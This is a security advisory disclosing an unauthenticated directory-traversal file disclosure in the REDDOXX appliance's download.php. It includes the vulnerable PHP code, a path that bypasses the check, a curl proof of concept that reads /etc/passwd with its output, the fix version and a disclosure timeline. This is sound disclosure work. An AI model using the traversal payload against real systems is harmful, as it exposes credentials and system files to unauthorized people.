Advisory: Unauthenticated Arbitrary File Disclosure in REDDOXX Appliance RedTeam Pentesting discovered an arbitrary file disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to download arbitrary files from the affected system. Details ======= Product: REDDOXX Appliance Affected Versions: Build 2032 / v2.0.625, older versions likely affected too Fixed Versions: Version 2032 SP2 Vulnerability Type: Arbitrary File Disclosure Security Risk: high Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-004 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ The REDDOXX appliance [0] contains a PHP script called download.php. It is available at http://www.example.com/download.php in normal installations and resides at /opt/reddoxx/local/htdocs/download.php in the local filesystem of the appliance. Through the ISO provided on the vendor's homepage [1], it was possible to analyze this file and any other file in a typical REDDOXX appliance installation. The file contains the following source code (shortened to relevant sections): ------------------------------------------------------------------------ <?php [...] // For MD 2.0 $fileName = $_GET['file']; [...] // For MD 2.0 if ($fileName <> '') { $file = $fileName; $fileID = basename($fileName); } // Currently we only allow downloads from session directories if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) && (strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) { die('File is not in session directory: ' . $file); } if(!file_exists($file)) { [...] } else { // Set headers header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: private' ,false); header('Content-Description: File Transfer'); header('Content-Disposition: attachment; filename="' . $fileID. '"'); header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); // Read the file from disk readfile($file); } ?> ------------------------------------------------------------------------ The script expects a URL parameter called "file" and stores its value in the variable $fileName. The value of this variable is then copied to the variable $file, which undergoes two different checks: First, the function strpos() is used to check whether a certain substring is contained in the value of the variable. The second check used the function file_exists() to determine whether the file specified in the variable is present in the filesystem. In order to circumvent the first check, a path such as ------------------------------------------------------------------------ /opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd ------------------------------------------------------------------------ can be specified, as there are no protections against directory traversal in place. This path also passes the second check imposed by the function file_exists(). Having bypassed both checks, attackers are now able to reach the readfile() function and download arbitrary files. Since no authentication checks are in place, the disclosure of arbitrary files if also possible for unauthenticated attackers. The same functionality is vulnerable to a cross-site scripting vulnerability as described in rt-sa-2017-003 [2]. Proof of Concept ================ The following curl command-line can be used to trigger the vulnerability: ------------------------------------------------------------------------ $ curl --silent 'http://www.example.com/download.php?file='\ '/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin vboxadd:x:999:1::/var/run/vboxadd:/bin/false statd:x:104:65534::/var/lib/nfs:/bin/false admin:x:0:0:admin,,,:/home/admin:/opt/reddoxx/local/scripts/admin.sh clamav:x:105:111::/var/lib/clamav:/bin/false ntp:x:106:112::/home/ntp:/bin/false hacluster:x:107:113:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false firebird:x:108:114:Firebird Database Administator,,,:/var/lib/firebird:/bin/bash redis:x:109:115:redis server,,,:/var/lib/redis:/bin/false snmp:x:110:116::/var/lib/snmp:/bin/false bind:x:111:117::/var/cache/bind:/bin/false smbadmin:x:1001:1001::/home/smbadmin:/bin/false smbuser:x:1002:1002::/home/smbuser:/bin/false ------------------------------------------------------------------------ Workaround ========== None Fix === Update the appliance software to Version 2032 SP2. Security Risk ============= This vulnerability can be used by attackers to download arbitrary files if the filename and path is known from filesystems reachable on the appliance. Depending on the configuration of the appliance, attackers can read the credentials stored in the configuration files or extract session IDs from log files. There are also no authentication checks in place. Therefore, the vulnerability poses a high risk. Timeline ======== 2017-05-16 Vulnerability identified 2017-05-23 Customer approved disclosure of vulnerability 2017-05-26 Customer provided details of vulnerability to vendor 2017-06-21 Vulnerability reported as fixed by vendor 2017-07-24 Advisory released References ========== [0] https://www.reddoxx.com/en/ [1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads (Requires login) [2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-003 RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
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